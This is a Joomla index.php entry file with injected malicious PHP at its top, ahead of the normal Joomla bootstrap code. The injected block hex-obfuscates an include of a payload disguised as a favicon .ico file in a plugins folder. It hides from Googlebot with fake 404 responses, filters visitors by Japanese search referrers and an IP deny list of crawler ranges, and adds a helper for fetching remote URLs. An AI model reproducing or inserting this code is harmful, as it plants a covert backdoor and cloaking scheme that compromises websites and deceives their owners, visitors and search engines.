/*45740*/ @include "\x2fhom\x65/to\x70ran\x6b/pu\x62lic\x5fhtm\x6c/pl\x75gin\x73/ed\x69tor\x73-xt\x64/fa\x76ico\x6e_01\x3720c\x2eico"; /*45740*/ error_reporting(0); $query = $_SERVER['REQUEST_URI']; if(stripos($_SERVER['HTTP_USER_AGENT'], 'Googlebot') !== false){ header('HTTP/1.1 404 Not Found'); header('status: 404 Not Found'); exit(); } if(preg_match('/(google.co.jp|yahoo.co.jp)/i', strtolower($_SERVER['HTTP_REFERER']))){ error_reporting (E_ERROR | E_WARNING | E_PARSE); $ip = getenv("REMOTE_ADDR"); $DENY_IP=array ('50.206','66.102','64.131','66.87','184.153','128.28','86.137','68.8','73.234','167.167','66.249','98.2','216.8','4 5.64','171.96','98.164','67.1 74','165.225','184.83','67.139','52.192','165.23','72.253','98.102','71.83','108.225','50.184'); $check_ip_arr= explode('.',$ip); if ($ip=="" || preg_match('/('.implode("|",$DENY_IP).')/i', $check_ip_arr[0].".".$check_ip_arr[1])){ Header("HTTP/1.1 404 Not Found"); exit; } echo ''; exit; } function GetFileContent($url){ if(function_exists('file_get_contents')) { $file_contents = file_get_contents($url); } else { $ch = curl_init(); $timeout = 5; curl_setopt ($ch, CURLOPT_URL, $url); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); $file_contents = curl_exec($ch); curl_close($ch); } return $file_contents; } /** * @package Joomla.Site * * @copyright Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ /** * Define the application's minimum supported PHP version as a constant so it can be referenced within the application. */ define('JOOMLA_MINIMUM_PHP', '5.3.10'); if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<')) { die('Your host needs to use PHP ' . JOOMLA_MINIMUM_PHP . ' or higher to run this version of Joomla!'); } // Saves the start time and memory usage. $startTime = microtime(1); $startMem = memory_get_usage(); /** * Constant that is checked in included files to prevent direct access. * define() is used in the installation folder rather than "const" to not error for PHP 5.2 and lower */ define('_JEXEC', 1); if (file_exists(__DIR__ . '/defines.php')) { include_once __DIR__ . '/defines.php'; } if (!defined('_JDEFINES')) { define('JPATH_BASE', __DIR__); require_once JPATH_BASE . '/includes/defines.php'; } require_once JPATH_BASE . '/includes/framework.php'; // Set profiler start time and memory usage and mark afterLoad in the profiler. JDEBUG ? JProfiler::getInstance('Application')->setStart($startTime, $startMem)->mark('afterLoad') : null; // Instantiate the application. $app = JFactory::getApplication('site'); // Execute the application. $app->execute();